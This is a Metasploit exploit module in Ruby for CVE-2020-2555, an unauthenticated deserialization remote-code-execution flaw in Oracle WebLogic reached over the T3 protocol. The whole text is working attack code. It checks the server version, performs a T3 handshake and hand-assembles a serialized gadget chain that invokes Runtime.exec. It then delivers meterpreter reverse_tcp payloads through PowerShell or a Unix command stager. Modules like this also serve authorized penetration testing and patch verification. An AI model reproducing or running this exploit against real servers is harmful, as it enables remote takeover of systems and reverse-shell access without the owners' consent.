WebLogic Server – Deserialization RCE – BadAttributeValueExpException (Metasploit)
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::CmdStager include Msf::Exploit::Powershell include Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'WebLogic Server Deserialization RCE - BadAttributeValueExpException', 'Description' => %q{ There exists a Java object deserialization vulnerability in multiple versions of WebLogic. Unauthenticated remote code execution can be achieved by sending a serialized BadAttributeValueExpException object over the T3 protocol to vulnerable WebLogic servers. }, 'License' => MSF_LICENSE, 'Author' => [ 'Jang', # Vuln Discovery 'Y4er', # PoC 'Shelby Pace' # Metasploit Module ], 'References' => [ [ 'CVE', '2020-2555' ], [ 'URL', 'https://www.thezdi.com/blog/2020/3/5/cve-2020-2555-rce-through-a-deserialization-bug-in-oracles-weblogic-server' ], [ 'URL', 'https://github.com/Y4er/CVE-2020-2555' ] ], 'Platform' => %w[unix linux win], 'Arch' => [ ARCH_X86, ARCH_X64 ], 'Privileged' => false, 'Targets' => [ [ 'Windows', { 'Platform' => 'win', 'Arch' => [ ARCH_X86, ARCH_X64 ], 'DefaultOptions' => { 'Payload' => 'windows/meterpreter/reverse_tcp' } } ], [ 'Unix', { 'Platform' => %w[unix linux], 'CmdStagerFlavor' => 'printf', 'Arch' => [ ARCH_X86, ARCH_X64 ], 'DefaultOptions' => { 'Payload' => 'linux/x86/meterpreter/reverse_tcp' } } ], ], 'DisclosureDate' => '2020-01-15', 'DefaultTarget' => 0 ) ) register_options([ Opt::RPORT(7001) ]) end def check connect web_req = "GET /console/login/LoginForm.jsp HTTP/1.1\nHost: #{peer}\n\n" sock.put(web_req) sleep(2) res = sock.get_once versions = [ Gem::Version.new('12.1.3.0.0'), Gem::Version.new('12.2.1.3.0'), Gem::Version.new('12.2.1.4.0') ] return CheckCode::Unknown('Failed to obtain response from service') unless res /WebLogic\s+Server\s+Version:\s+(?<version>\d+\.\d+\.\d+\.*\d*\.*\d*)/ =~ res return CheckCode::Unknown('Failed to detect WebLogic') unless version @version_no = Gem::Version.new(version) print_status("WebLogic version detected: #{@version_no}") return CheckCode::Appears if versions.include?(@version_no) CheckCode::Detected('Version of WebLogic is not vulnerable') ensure disconnect end def exploit super connect print_status('Sending handshake...') t3_handshake if target.name == 'Windows' win_obj = cmd_psh_payload(payload.encoded, payload_instance.arch.first, { remove_comspec: true }) win_obj.prepend('cmd.exe /c ') win_obj = build_payload_obj(win_obj) t3_send(win_obj) else execute_cmdstager end ensure disconnect end def t3_handshake # t3 12.2.1\nAS:255 # \nHL:19\nMS:100000 # 00\n\n shake = '74332031322e322e310a41533a323535' shake << '0a484c3a31390a4d533a313030303030' shake << '30300a0a' sock.put([shake].pack('H*')) sleep(1) sock.get_once end def build_payload_obj(payload_data) payload_obj = 'aced' # STREAM_MAGIC payload_obj << '0005' # STREAM_VERSION payload_obj << '7372' # TC_OBJECT, TC_CLASSDESC payload_obj << '002e' # Class name length: 46 payload_obj << '6a617661782e6d616e61' # Class name: javax.management.BadAttributeValueExpException payload_obj << '67656d656e742e426164' payload_obj << '41747472696275746556' payload_obj << '616c7565457870457863' payload_obj << '657074696f6e' payload_obj << 'd4e7daab632d4640' # SerialVersionUID payload_obj << '020001' # Serialization flag, field num = 1 payload_obj << '4c0003' # Field type code: 4c = Object, field name length: 3 payload_obj << '76616c' # Field name: val payload_obj << '740012' # String, length: 18 payload_obj << '4c6a6176612f6c616e672f4f626a6563743b' # Ljava/lang/Object; payload_obj << '7872' # end block data, TC_CLASSDESC payload_obj << '0013' # Class name length: 19 payload_obj << '6a6176612e6c616e672e' # java.lang.Exception payload_obj << '457863657074696f6e' payload_obj << 'd0fd1f3e1a3b1cc4' # SerialVersionUID payload_obj << '020000' # Serializable, No fields payload_obj << '7872' # end block data, TC_CLASSDESC payload_obj << '0013' # Class name length: 19 payload_obj << '6a6176612e6c616e672e' # java.lang.Throwable payload_obj << '5468726f7761626c65' payload_obj << 'd5c635273977b8cb' # SerialVersionUID payload_obj << '030004' # ?, then 4 fields payload_obj << '4c0005' # Field type: Object, field name length: 5 payload_obj << '6361757365' # Field name: cause payload_obj << '740015' # String, length: 21 payload_obj << '4c6a6176612f6c616e67' # Ljava/lang/Throwable; payload_obj << '2f5468726f7761626c653b' payload_obj << '4c000d' # Field type: Object, field name length: 13 payload_obj << '64657461696c4d657373616765' # Field name: detailMessage payload_obj << '740012' # String, length: 18 payload_obj << '4c6a6176612f6c616e67' # Ljava/lang/String; payload_obj << '2f537472696e673b' payload_obj << '5b000a' # Field type: 5b = array, field name length: 10 payload_obj << '737461636b5472616365' # Field name: stackTrace payload_obj << '74001e' # String, length: 30 payload_obj << '5b4c6a6176612f6c616e' # [Ljava/lang/StackTraceElement; payload_obj << '672f537461636b547261' payload_obj << '6365456c656d656e743b' payload_obj << '4c0014' # Field type: Object, field name length: 20 payload_obj << '73757070726573736564' # Field name: suppressedExceptions payload_obj << '457863657074696f6e73' payload_obj << '740010' # String, length: 16 payload_obj << '4c6a6176612f7574696c' # Ljava/util/List; payload_obj << '2f4c6973743b' payload_obj << '7870' # TC_ENDBLOCKDATA, TC_NULL payload_obj << '71' # TC_REFERENCE payload_obj << '007e0008' # handle? payload_obj << '7075' # TC_NULL, TC_ARRAY payload_obj << '72001e' # TC_CLASSDESC, Class name length: 30 payload_obj << '5b4c6a6176612e6c616e' # [Ljava.lang.StackTraceElement; payload_obj << '672e537461636b547261' payload_obj << '6365456c656d656e743b' payload_obj << '02462a3c3cfd2239' # SerialVersionUID payload_obj << '020000' # Serializable, No fields payload_obj << '7870' # TC_ENDBLOCKDATA, TC_NULL payload_obj << '00000001' payload_obj << '7372' # TC_OBJECT, TC_CLASSDESC payload_obj << '001b' # Class name length: 27 payload_obj << '6a6176612e6c616e672e' # java.lang.StackTraceElement payload_obj << '537461636b5472616365' payload_obj << '456c656d656e74' payload_obj << '6109c59a2636dd85' # SerialVersionUID payload_obj << '020004' # Serializable, 4 fields payload_obj << '49000a' # Field type: 49 = Integer, field name length: 10 payload_obj << '6c696e654e756d626572' # lineNumber payload_obj << '4c000e' # Field type: Object, field name length: 14 payload_obj << '6465636c6172696e6743' payload_obj << '6c617373' # declaringClass payload_obj << '71' # TC_REFERENCE payload_obj << '007e0005' # handle payload_obj << '4c0008' # Field type: Object, field name length: 8 payload_obj << '66696c654e616d65' # fileName payload_obj << '71' # TC_REFERENCE payload_obj << '007e0005' # handle payload_obj << '4c000a' # Field type: Object, field name length: 10 payload_obj << '6d6574686f644e616d65' # methodName payload_obj << '71' # TC_REFERENCE payload_obj << '007e0005' # handle payload_obj << '7870' # TC_ENDBLOCKDATA, TC_NULL payload_obj << '00000028' class_name = Rex::Text.rand_text_alphanumeric(8..14) formatted_class = class_name.each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join payload_obj << '74' # String payload_obj << class_name.length.to_s(16).rjust(4, '0') payload_obj << formatted_class # Originally Weblogic_2555 -> PoC class name payload_obj << '74' # String payload_obj << (class_name.length + 5).to_s(16).rjust(4, '0') payload_obj << formatted_class # Originally Weblogic_2555.java payload_obj << '2e6a617661' # .java payload_obj << '740004' # String, length: 4 payload_obj << '6d61696e' # main payload_obj << '7372' # TC_OBJECT, TC_CLASSDESC payload_obj << '0026' # Class name length: 38 payload_obj << '6a6176612e7574696c2e' # java.util.Collections$UnmodifiableList payload_obj << '436f6c6c656374696f6e' payload_obj << '7324556e6d6f64696669' payload_obj << '61626c654c697374' payload_obj << 'fc0f2531b5ec8e10' # SerialVersionUID payload_obj << '020001' # Serializable, 1 field payload_obj << '4c0004' # Field type: Object, field name length: 4 payload_obj << '6c697374' # list payload_obj << '71' # TC_REFERENCE payload_obj << '007e0007' # handle payload_obj << '7872' # TC_ENDBLOCKDATA, TC_CLASSDESC payload_obj << '002c' # Class name length: 44 payload_obj << '6a6176612e7574696c2e' # java.util.Collections$UnmodifiableCollection payload_obj << '436f6c6c656374696f6e' payload_obj << '7324556e6d6f64696669' payload_obj << '61626c65436f6c6c6563' payload_obj << '74696f6e' payload_obj << '19420080cb5ef71e' # SerialVersionUID payload_obj << '020001' # Serializable, 1 field payload_obj << '4c0001' # Field type: Object, field name length: 1 payload_obj << '63' # Field name: c payload_obj << '740016' # String, length: 22 payload_obj << '4c6a6176612f7574696c' # Ljava/util/Collection; payload_obj << '2f436f6c6c656374696f' payload_obj << '6e3b' payload_obj << '7870' # TC_ENDBLOCKDATA, TC_NULL payload_obj << '7372' # TC_OBJECT, TC_CLASSDESC payload_obj << '0013' # Class name length: 19 payload_obj << '6a6176612e7574696c2e' # java.util.ArrayList payload_obj << '41727261794c697374' payload_obj << '7881d21d99c7619d' # SerialVersionUID payload_obj << '030001' # ?, 1 field payload_obj << '490004' # Field type: Integer, field name length: 4 payload_obj << '73697a65' # size payload_obj << '7870' # TC_ENDBLOCKDATA, TC_NULL payload_obj << '00000000' payload_obj << '7704' # TC_BLOCKDATA, length: 4 payload_obj << '00000000' payload_obj << '7871' # TC_ENDBLOCKDATA, TC_REFERENCE payload_obj << '007e0015' # handle payload_obj << '78' # TC_ENDBLOCKDATA payload_obj << '7372' # TC_OBJECT, TC_CLASSDESC payload_obj << '0024' # Class name length: 36 payload_obj << '636f6d2e74616e676f73' # com.tangosol.util.filter.LimitFilter payload_obj << '6f6c2e7574696c2e6669' payload_obj << '6c7465722e4c696d6974' payload_obj << '46696c746572' payload_obj << limit_filter_uid # SerialVersionUID payload_obj << '020006' # Serializable, 6 fields payload_obj << '49000b' # Field type: Integer, field name length: 11 payload_obj << '6d5f635061676553697a65' # m_cPageSize payload_obj << '490007' # Field type: Integer, field name length: 7 payload_obj << '6d5f6e50616765' # m_nPage payload_obj << '4c000c' # Field type: Object, field name length: 12 payload_obj << '6d5f636f6d70617261746f72' # m_comparator payload_obj << '740016' # String, length: 22 payload_obj << '4c6a6176612f7574696c' # Ljava/util/Comparator; payload_obj << '2f436f6d70617261746f' payload_obj << '723b' payload_obj << '4c0008' # Field type: Object, field name length: 8 payload_obj << '6d5f66696c746572' # m_filter payload_obj << '74001a' # String, length: 26 payload_obj << '4c636f6d2f74616e676f' # Lcom/tangosol/util/Filter; payload_obj << '736f6c2f7574696c2f46' payload_obj << '696c7465723b' payload_obj << '4c000f' # Field type: Object, field name length: 15 payload_obj << '6d5f6f416e63686f7242' # m_oAnchorBottom payload_obj << '6f74746f6d' payload_obj << '71' # TC_REFERENCE payload_obj << '007e0001' # handle payload_obj << '4c000c' # Field type: Object, field name length: 12 payload_obj << '6d5f6f416e63686f72546f70' # m_oAnchorTop payload_obj << '71' # TC_REFERENCE payload_obj << '007e0001' # handle unless @version_no == Gem::Version.new('12.1.3.0.0') payload_obj << add_class_desc end payload_obj << '7870' # TC_ENDBLOCKDATA, TC_NULL payload_obj << '00000000' payload_obj << '00000000' payload_obj << '7372' # TC_OBJECT, TC_CLASSDESC payload_obj << '002c' # Class name length: 44 payload_obj << '636f6d2e74616e676f73' # com.tangosol.util.extractor.ChainedExtractor payload_obj << '6f6c2e7574696c2e6578' payload_obj << '74726163746f722e4368' payload_obj << '61696e65644578747261' payload_obj << '63746f72' payload_obj << chained_extractor_uid # SerialVersionUID payload_obj << '020000' # Serializable, no fields payload_obj << '7872' # TC_ENDBLOCKDATA, TC_CLASSDESC payload_obj << '0036' # Class name length: 54 payload_obj << '636f6d2e74616e676f73' # com.tangosol.util.extractor.AbstractCompositeExtractor payload_obj << '6f6c2e7574696c2e6578' payload_obj << '74726163746f722e4162' payload_obj << '737472616374436f6d70' payload_obj << '6f736974654578747261' payload_obj << '63746f72' payload_obj << '086b3d8c05690f44' # SerialVersionUID payload_obj << '020001' # Serializable, 1 field payload_obj << '5b000c' # Field type: Array, field name length: 12 payload_obj << '6d5f61457874726163746f72' # m_aExtractor payload_obj << '740023' # String, length: 35 payload_obj << '5b4c636f6d2f74616e67' # [Lcom/tangosol/util/ValueExtractor; payload_obj << '6f736f6c2f7574696c2f' payload_obj << '56616c75654578747261' payload_obj << '63746f723b' payload_obj << '7872' # TC_ENDBLOCKDATA, TC_CLASSDESC payload_obj << '002d' # Class name length: 45 payload_obj << '636f6d2e74616e676f73' # com.tangosol.util.extractor.AbstractExtractor payload_obj << '6f6c2e7574696c2e6578' payload_obj << '74726163746f722e4162' payload_obj << '73747261637445787472' payload_obj << '6163746f72' payload_obj << abstract_extractor_uid # SerialVersionUID payload_obj << '020001' # Serializable, 1 field payload_obj << '490009' # Field type: Integer, field name length: 9 payload_obj << '6d5f6e546172676574' # m_nTarget payload_obj << '7870' # TC_ENDBLOCKDATA, TC_NULL payload_obj << '00000000' payload_obj << '7572' # TC_ARRAY, TC_CLASSDESC payload_obj << '0032' # Class name length: 50 payload_obj << '5b4c636f6d2e74616e67' # [Lcom.tangosol.util.extractor.ReflectionExtractor; payload_obj << '6f736f6c2e7574696c2e' payload_obj << '657874726163746f722e' payload_obj << '5265666c656374696f6e' payload_obj << '457874726163746f723b' payload_obj << 'dd8b89aed70273ca' # SerialVersionUID payload_obj << '020000' # Serializable, no fields payload_obj << '7870' # TC_ENDBLOCKDATA, TC_NULL payload_obj << '00000003' payload_obj << '7372' # TC_OBJECT, TC_CLASSDESC payload_obj << '002f' # Class name length: 47 payload_obj << '636f6d2e74616e676f73' # com.tangosol.util.extractor.ReflectionExtractor payload_obj << '6f6c2e7574696c2e6578' payload_obj << '74726163746f722e5265' payload_obj << '666c656374696f6e4578' payload_obj << '74726163746f72' payload_obj << reflection_extractor_uid # SerialVersionUID payload_obj << '02000' # Serializable, variable fields orig: 020002 payload_obj << reflect_extract_count payload_obj << '5b0009' # Field type: Array, field name length: 9 payload_obj << '6d5f616f506172616d' # m_aoParam payload_obj << '740013' # String, length: 19 payload_obj << '5b4c6a6176612f6c616e' # [Ljava/lang/Object; payload_obj << '672f4f626a6563743b' payload_obj << add_sect payload_obj << '4c0009' # Object, length: 9 payload_obj << '6d5f734d6574686f64' # m_sMethod payload_obj << '71' # TC_REFERENCE payload_obj << '007e0005' # handle payload_obj << '7871' # TC_ENDBLOCKDATA, TC_REFERENCE payload_obj << (change_handle? ? '007e001d' : '007e001e') payload_obj << '00000000' payload_obj << '7572' # TC_ARRAY, TC_CLASSDESC payload_obj << '0013' # Class name length: 19 payload_obj << '5b4c6a6176612e6c616e' # [Ljava.lang.Object; payload_obj << '672e4f626a6563743b' payload_obj << '90ce589f1073296c' # SerialVersionUID payload_obj << '020000' # Serializable, no fields payload_obj << '7870' # TC_ENDBLOCKDATA, TC_NULL payload_obj << '00000002' payload_obj << '74000a' # String, length: 10 payload_obj << '67657452756e74696d65' # getRuntime payload_obj << '7572' # TC_ARRAY, TC_CLASSDESC payload_obj << '0012' # Class name length: 18 payload_obj << '5b4c6a6176612e6c616e' # [Ljava.lang.Class; payload_obj << '672e436c6173733b' payload_obj << 'ab16d7aecbcd5a99' # SerialVersionUID payload_obj << '020000' # Serializable, no fields payload_obj << '7870' # TC_ENDBLOCKDATA, TC_NULL payload_obj << '00000000' payload_obj << add_tc_null payload_obj << '740009' # String, length: 9 payload_obj << '6765744d6574686f64' # getMethod payload_obj << '7371' # TC_OBJECT, TC_REFERENCE payload_obj << (change_handle? ? '007e0021' : '007e0022') payload_obj << '00000000' payload_obj << '7571' # TC_ARRAY, TC_REFERENCE payload_obj << (change_handle? ? '007e0024' : '007e0025') payload_obj << '00000002' # array size: 2 payload_obj << '7075' # TC_NULL, TC_ARRAY payload_obj << '71' # TC_REFERENCE payload_obj << (change_handle? ? '007e0024' : '007e0025') payload_obj << '00000000' payload_obj << add_tc_null payload_obj << '740006' # TC_STRING, length: 6 payload_obj << '696e766f6b65' # invoke payload_obj << '7371' # TC_OBJECT, TC_REFERENCE payload_obj << (change_handle? ? '007e0021' : '007e0022') payload_obj << '00000000' payload_obj << '7571' # TC_ARRAY, TC_REFERENCE payload_obj << (change_handle? ? '007e0024' : '007e0025') payload_obj << '00000001' payload_obj << '7572' # TC_ARRAY, TC_CLASSDESC payload_obj << '0013' # Class name length: 19 payload_obj << '5b4c6a6176612e6c616e' # [Ljava.lang.String; payload_obj << '672e537472696e673b' payload_obj << 'add256e7e91d7b47' # SerialVersionUID payload_obj << '020000' # Serializable, no fields payload_obj << '7870' # TC_ENDBLOCKDATA, TC_NULL payload_obj << '00000003' payload_bin = format_payload(payload_data) payload_obj << payload_bin # Original data # --------------------------- # payload_obj << '740007' # String, length: 7 # payload_obj << '2f62696e2f7368' # /bin/sh # payload_obj << '740002' # String, length: 2 # payload_obj << '2d63' # -c # payload_obj << '740017' # String, length: 23 # payload_obj << '746f756368202f746d70' # touch /tmp/blah_ze_blah # payload_obj << '2f626c61685f7a655f62' # payload_obj << '6c6168' # --------------------------- payload_obj << add_tc_null payload_obj << '740004' # String, length: 4 payload_obj << '65786563' # exec payload_obj << '7070' # TC_NULL, TC_NULL payload_obj << '7672' # TC_CLASS, TC_CLASSDESC payload_obj << '0011' # Class name length: 17 payload_obj << '6a6176612e6c616e672e' # java.lang.Runtime payload_obj << '52756e74696d65' payload_obj << '00000000000000000000' payload_obj << '00' payload_obj << '7870' # TC_ENDBLOCKDATA, TC_NULL end def change_handle? @version_no == Gem::Version.new('12.1.3.0.0') end def limit_filter_uid case @version_no when Gem::Version.new('12.1.3.0.0') '99022596d7b45953' when Gem::Version.new('12.2.1.3.0') 'ab2901b976c4e271' else '954e4590be89865f' end end def chained_extractor_uid case @version_no when Gem::Version.new('12.1.3.0.0') '889f81b0945d5b7f' when Gem::Version.new('12.2.1.3.0') '06ee10433a4cc4b4' else '435b250b72f63db5' end end def abstract_extractor_uid case @version_no when Gem::Version.new('12.1.3.0.0') '658195303e723821' when Gem::Version.new('12.2.1.3.0') '752289ad4d460138' else '9b1be18ed70100e5' end end def reflection_extractor_uid case @version_no when Gem::Version.new('12.1.3.0.0') 'ee7ae995c02fb4a2' when Gem::Version.new('12.2.1.3.0') '87973791b26429dd' else '1f62f564b951b614' end end def reflect_extract_count case @version_no when Gem::Version.new('12.2.1.3.0') '3' else '2' end end def add_sect sect = '' if @version_no == Gem::Version.new('12.2.1.3.0') sect << '4c0011' # Object, length: 17 sect << '6d5f657874726163746f' # m_extractorCached sect << '72436163686564' sect << '71' # TC_REFERENCE sect << '007e0001' # handle end sect end def add_class_desc class_desc = '' class_desc << '7872' # TC_ENDBLOCKDATA, TC_CLASSDESC class_desc << '0034' # Class name length: 52 class_desc << '636f6d2e74616e676f73' # com.tangosol.util.filter.AbstractQueryRecorderFilter class_desc << '6f6c2e7574696c2e6669' class_desc << '6c7465722e4162737472' class_desc << '61637451756572795265' class_desc << '636f7264657246696c74' class_desc << '6572' class_desc << 'f3b98201f680eb90' # SerialVersionUID class_desc << '020000' # Serializable, no fields end def add_tc_null return '70' if @version_no == Gem::Version.new('12.2.1.3.0') '' end def t3_send(payload_obj) print_status('Sending object...') request_obj = '000009f3' # Original packet length request_obj << '016501' # CMD_IDENTIFY_REQUEST, flags request_obj << 'ffffffffffffffff' request_obj << '00000071' request_obj << '0000ea60' request_obj << '00000018432ec6' request_obj << 'a2a63985b5af7d63e643' request_obj << '83f42a6d92c9e9af0f94' request_obj << '72027973720078720178' request_obj << '720278700000000c0000' request_obj << '00020000000000000000' request_obj << '00000001007070707070' request_obj << '700000000c0000000200' request_obj << '00000000000000000000' request_obj << '01007006' request_obj << 'fe010000' # separator request_obj << 'aced0005' # STREAM_MAGIC, STREAM_VERSION request_obj << '7372' # TC_OBJECT, TC_CLASSDESC request_obj << '001d' # Class name length: 29 request_obj << '7765626c6f6769632e72' # weblogic.rjvm.ClassTableEntry request_obj << '6a766d2e436c61737354' request_obj << '61626c65456e747279' request_obj << '2f52658157f4f9ed' # SerialVersionUID request_obj << '0c0000' # flags? request_obj << '787072' # TC_ENDBLOCKDATA, TC_NULL, TC_CLASSDESC request_obj << '0024' # Class name length: 36 request_obj << '7765626c6f6769632e63' # weblogic.common.internal.PackageInfo request_obj << '6f6d6d6f6e2e696e7465' request_obj << '726e616c2e5061636b61' request_obj << '6765496e666f' request_obj << 'e6f723e7b8ae1ec9' # SerialVersionUID request_obj << '020009' # Serializable, 9 fields request_obj << '490005' # Field type: Int, field name length: 5 request_obj << '6d616a6f72' # major request_obj << '490005' # Field type: Int, field name length: 5 request_obj << '6d696e6f72' # minor request_obj << '49000b' # Field type: Int, field name length: 11 request_obj << '70617463685570646174' # patchUpdate request_obj << '65' request_obj << '49000c' # Field type: Int, field name length: 12 request_obj << '726f6c6c696e67506174' # rollingPatch request_obj << '6368' request_obj << '49000b' # Field type: Int, field name length: 11 request_obj << '73657276696365506163' # servicePack request_obj << '6b' request_obj << '5a000e' # Field type: Z = Bool, field name length: 14 request_obj << '74656d706f7261727950' # temporaryPatch request_obj << '61746368' request_obj << '4c0009' # Field type: Object, field name length: 9 request_obj << '696d706c5469746c65' # implTitle request_obj << '740012' # String, length: 18 request_obj << '4c6a6176612f6c616e67' # Ljava/lang/String; request_obj << '2f537472696e673b' request_obj << '4c000a' # Field type: Object, field name length: 10 request_obj << '696d706c56656e646f72' # implVendor request_obj << '71007e0003' # TC_REFERENCE, handle request_obj << '4c000b' # Field type: Object, field name length: 11 request_obj << '696d706c56657273696f6e' # implVersion request_obj << '71007e0003' # TC_REFERENCE, handle request_obj << '7870' # TC_ENDBLOCKDATA, TC_NULL request_obj << '7702' # TC_ENDBLOCKDATA request_obj << '000078' request_obj << 'fe010000' # separator request_obj << payload_obj request_obj << 'fe010000' # separator request_obj << 'aced0005' # STREAM_MAGIC, STREAM_VERSION request_obj << '7372' # TC_OBJECT, TC_CLASSDESC request_obj << '001d' # Class name length: 29 request_obj << '7765626c6f6769632e72' # weblogic.rjvm.ClassTableEntry request_obj << '6a766d2e436c61737354' request_obj << '61626c65456e747279' request_obj << '2f52658157f4f9ed' # SerialVersionUID request_obj << '0c0000' request_obj << '787072' # TC_ENDBLOCKDATA, TC_NULL, TC_CLASSDESC request_obj << '0021' # Class name length: 33 request_obj << '7765626c6f6769632e63' # weblogic.common.internal.PeerInfo request_obj << '6f6d6d6f6e2e696e7465' request_obj << '726e616c2e5065657249' request_obj << '6e666f' request_obj << '585474f39bc908f1' # SerialVersionUID request_obj << '020007' # Serializable, 7 fields request_obj << '490005' # Field type: Int, field name length: 5 request_obj << '6d616a6f72' # major request_obj << '490005' # Field type: Int, field name length: 5 request_obj << '6d696e6f72' # minor request_obj << '49000b' # Field type: Int, field name length: 11 request_obj << '70617463685570646174' # patchUpdate request_obj << '65' request_obj << '49000c' # Field type: Int, field name length: 12 request_obj << '726f6c6c696e67506174' # rollingPatch request_obj << '6368' request_obj << '49000b' # Field type: Int, field name length: 11 request_obj << '73657276696365506163' # servicePack request_obj << '6b' request_obj << '5a000e' # Field type: Z = Bool, field name length: 14 request_obj << '74656d706f7261727950' # temporaryPatch request_obj << '61746368' request_obj << '5b0008' # Field type: Array, field name length: 8 request_obj << '7061636b61676573' # packages request_obj << '740027' # String, length: 39 request_obj << '5b4c7765626c6f676963' # [Lweblogic/common/internal/PackageInfo; request_obj << '2f636f6d6d6f6e2f696e' request_obj << '7465726e616c2f506163' request_obj << '6b616765496e666f3b' request_obj << '7872' # TC_ENDBLOCKDATA, TC_CLASSDESC request_obj << '0024' # Class name length: 36 request_obj << '7765626c6f6769632e63' # weblogic.common.internal.VersionInfo request_obj << '6f6d6d6f6e2e696e7465' request_obj << '726e616c2e5665727369' request_obj << '6f6e496e666f' request_obj << '972245516452463e' # SerialVersionUID request_obj << '020003' # Serializable, 3 fields request_obj << '5b0008' # Field type: Array, field name length: 8 request_obj << '7061636b61676573' # packages request_obj << '71007e0003' # TC_REFERENCE, handle request_obj << '4c000e' # Field type: Object, field name length: 14 request_obj << '72656c65617365566572' # releaseVersion request_obj << '73696f6e' request_obj << '740012' # String, length: 18 request_obj << '4c6a6176612f6c616e67' # Ljava/lang/String; request_obj << '2f537472696e673b' request_obj << '5b0012' # Field type: Array, field name length: 18 request_obj << '76657273696f6e496e66' # versionInfoAsBytes request_obj << '6f41734279746573' request_obj << '740002' # String, length: 2 request_obj << '5b42' # [B request_obj << '7872' # TC_ENDBLOCKDATA, TC_CLASSDESC request_obj << '0024' # Class name length: 36 request_obj << '7765626c6f6769632e63' # weblogic.common.internal.PackageInfo request_obj << '6f6d6d6f6e2e696e7465' request_obj << '726e616c2e5061636b61' request_obj << '6765496e666f' request_obj << 'e6f723e7b8ae1ec9' # SerialVersionUID request_obj << '020009' # Serializable, 9 fields request_obj << '490005' # Field type: Int, field name length: 5 request_obj << '6d616a6f72' # major request_obj << '490005' # Field type: Int, field name length: 5 request_obj << '6d696e6f72' # minor request_obj << '49000b' # Field type: Int, field name length: 11 request_obj << '70617463685570646174' # patchUpdate request_obj << '65' request_obj << '49000c' # Field type: Int, field name length: 12 request_obj << '726f6c6c696e67506174' # rollingPatch request_obj << '6368' request_obj << '49000b' # Field type: Int, field name length: 11 request_obj << '73657276696365506163' # servicePack request_obj << '6b' request_obj << '5a000e' # Field type: Z = Bool, field name length: 14 request_obj << '74656d706f7261727950' # temporaryPatch request_obj << '61746368' request_obj << '4c0009' # Field type: Object, field name length: 9 request_obj << '696d706c5469746c65' # implTitle request_obj << '71007e0005' # TC_REFERENCE, handle request_obj << '4c000a' # Field type: Object, field name length: 10 request_obj << '696d706c56656e646f72' # implVendor request_obj << '71007e0005' # TC_REFERENCE, handle request_obj << '4c000b' # Field type: Object, field name length: 11 request_obj << '696d706c56657273696f' # implVersion request_obj << '6e' request_obj << '71007e0005' # TC_REFERENCE, handle request_obj << '7870' # TC_ENDBLOCKDATA, TC_NULL request_obj << '7702000078' # TC_BLOCKDATA, 2 bytes, TC_ENDBLOCKDATA request_obj << 'fe00ff' # separator request_obj << 'fe010000' request_obj << 'aced0005' # STREAM_MAGIC, STREAM_VERSION request_obj << '7372' # TC_OBJECT, TC_CLASSDESC request_obj << '0013' # Class name length: 19 request_obj << '7765626c6f6769632e72' # weblogic.rjvm.JVMID request_obj << '6a766d2e4a564d4944' request_obj << 'dc49c23ede121e2a' # SerialVersionUID request_obj << '0c0000' request_obj << '787077' # TC_ENDBLOCKDATA, TC_NULL, TC_BLOCKDATA request_obj << '4621' request_obj << '000000000000000000' request_obj << '09' # length: 9 request_obj << '3132372e302e312e31' # 127.0.1.1 request_obj << '000b' # length: 11 request_obj << '75732d6c2d627265656e' # us-l-breens request_obj << '73' request_obj << 'a53caff10000000700' request_obj << '001b59' request_obj << 'ffffffffffffffffffff' request_obj << 'ffffffffffffffffffff' request_obj << 'ffffffff' request_obj << '0078' request_obj << 'fe010000' # separator request_obj << 'aced0005' # STREAM_MAGIC, STREAM_VERSION request_obj << '7372' # TC_OBJECT, TC_CLASSDESC request_obj << '0013' # Class name length: 19 request_obj << '7765626c6f6769632e72' # weblogic.rjvm.JVMID request_obj << '6a766d2e4a564d4944' request_obj << 'dc49c23ede121e2a' # SerialVersionUID request_obj << '0c0000' request_obj << '787077' # TC_ENDBLOCKDATA, TC_NULL, TC_BLOCKDATA request_obj << '1d0181401281' request_obj << '34bf427600093132372e' request_obj << '302e312e31a53caff1' request_obj << '000000000078' new_len = (request_obj.length / 2).to_s(16).rjust(8, '0') request_obj[0, 8] = new_len sock.put([request_obj].pack('H*')) sleep(1) end def format_payload(payload_cmd) print_status('Formatting payload...') payload_arr = payload_cmd.split(' ', 3) formatted_payload = '' payload_arr.each do |part| formatted_payload << '74' # denotes a string formatted_payload << part.length.to_s(16).rjust(4, '0') formatted_payload << part.each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join end formatted_payload end def execute_command(cmd, _opts = {}) cmd.prepend('/bin/sh -c ') cmd = build_payload_obj(cmd) t3_send(cmd) end end |